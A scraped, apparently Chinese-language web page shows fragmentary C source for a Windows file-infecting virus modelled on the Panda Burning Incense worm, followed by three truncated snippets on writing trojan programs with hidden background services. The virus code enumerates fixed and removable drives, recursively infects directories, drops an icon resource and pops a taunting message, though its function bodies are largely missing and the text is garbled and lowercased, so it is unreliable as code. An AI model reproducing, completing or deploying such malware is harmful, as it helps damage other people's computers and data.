#include "resource.h"
#include bool enumdirectory(tchar *dirpath,bool isinject);
void inject(char *path);
bool writeresourcetofile(char const *filename);
void clear(char *path);
bool fileexist(char *filepath);
//禁止彈出軟盤錯誤對話方塊
int set_error()
//本程式請在虛擬機器下執行,否則系統崩潰我不負責。
int apientry winmain( hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int nshowcmd )
; uint type=getdrivetype(x);
if(type==drive_fixed||type==drive_removable)//硬碟和移動磁碟
}messagebox(null,"恭喜你,中了熊貓燒香病毒!","哈哈",mb_ok);
return 0;
}bool enumdirectory(tchar *dirpath,bool isinject)
; bool bisfinish=false;
zeromemory(&fd,sizeof(win32_find_data));
wsprintf(sztempfilefind,"%s\\*.*",dirpath);
handle hfind=findfirstfile(sztempfilefind,&fd);
if(hfind==invalid_handle_value)
while(!bisfinish)
; strcpy(szfoundfilename,fd.cfilename);
if(fd.dwfileattributes*file_attribute_directory)//如果找到的檔案是目錄,則遞迴感染
;wsprintf(sztempdir,"%s\\%s",dirpath,szfoundfilename);
sleep(10);
if(isinject)
else
}} }
findclose(hfind);
return true;
}//在目錄下感染,新增圖示
void inject(char *path)
void clear(char *path)
if(fileexist(inifilepath))
}bool fileexist(char *filepath)
else
}bool writeresourcetofile(char const *filename)
resource.h
// resource.h
#define rc_binarytype 256
#define id_ico 100
res.rc
#include "resource.h"
id_ico rc_binarytype yunshouhu.ico
用C 實現木馬程式
服務端的開發 要實現木馬服務的程式,主要實現以下幾個功能 後台的執行 隱藏技術 控制碼的接收與登錄檔的修改,下面對這三方面做介紹 1 在vc 中,建立乙個後台服務程式是很容易的,先建立乙個新的c 的windows應用程式,專案名稱自定 不過為了隱藏可使用與系統相近的名稱 將窗體屬性 showinta...
用C 實現木馬程式
木馬的介紹 因為本文是 木馬程式,所以在介紹之前有一些木馬構成的基本知識事先說明。乙個完整的木馬系統由硬體部分,軟體部分和具體連線部分組成。這裡主要對軟體部分介紹,它主要有控制端程式 木馬程式 後台服務程式 木馬配製程式組成。控制端用以遠端控 務端的程式 木馬程式是潛入服務端內部,獲取其操作許可權的...
用C 實現木馬程式
因為本文是 木馬程式,所以在介紹之前有一些木馬構成的基本知識事先說明。乙個完整的木馬系統由硬體部分,軟體部分和具體連線部分組成。這裡主要對軟體部分介紹,它主要有控制端程式 木馬程式 後台服務程式 木馬配製程式組成。控制端用以遠端控 務端的程式 木馬程式是潛入服務端內部,獲取其操作許可權的程式 木馬配...